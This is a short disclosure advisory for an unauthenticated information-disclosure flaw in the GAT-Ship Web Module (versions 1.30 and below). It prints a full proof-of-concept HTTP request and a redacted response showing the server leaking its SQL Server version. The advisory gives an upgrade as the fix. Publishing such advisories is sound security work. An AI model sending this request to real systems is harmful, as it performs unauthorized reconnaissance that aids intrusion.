GAT-Ship Web Module 1.30 Information Disclosure

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GAT-Ship Web Module >1.30 - Unauthenticated Information Disclosure Vulnerability  
  
  
It is possible in versions 1.30 and below for unauthenticated attackers to query the GAT-Ship Web Module for system information via a crafted request:  
  
PoC:  
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POST /ws/gatshipWs.asmx/SqlVersion <http://gatshipWs.asmx/SqlVersion> HTTP/1.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/json; charset=utf-8  
X-Requested-With: XMLHttpRequest   
Content-Length: 2  
DNT: 1  
Connection: close  
  
{}  
  
--------------------------------------------------------------------------------------------------------------------------------------------------  
  
  
  
  
HTTP/1.1 200 OK  
Cache-Control: private, max-age=0  
Content-Type: application/json; charset=utf-8  
Server: Microsoft-IIS/X.X  
X-AspNet-Version: X.X.XXXXX  
X-Powered-By: ASP.NET  
Date: Mon, XX XXX 20XX 06:55:31 GMT  
Connection: close  
Content-Length: 310  
  
{"d":{"__type":"webModule.ws.gatshipWs+ResponsObject","ResponsType":0,"MessageText":null,"Data":"Microsoft SQL Server 20XX (SPX) - XX.X.XXXX.X (X64) \n\tDec 28 20XX 20:23:12 \n\tCopyright (c) Microsoft Corporation\n\tStandard Edition (64-bit) on Windows XX XX \u003cX64\u003e (Build XXXX: Service Pack X)\n"}}  
  
===================================================================================  
  
Values in PoC removed for security reasons.  
  
  
Disclosed: 16 Jul 2018  
  
Fix: Upgrade to current version.  
  
  
Discovered by Gionathan Armando Reale  
  
  
  
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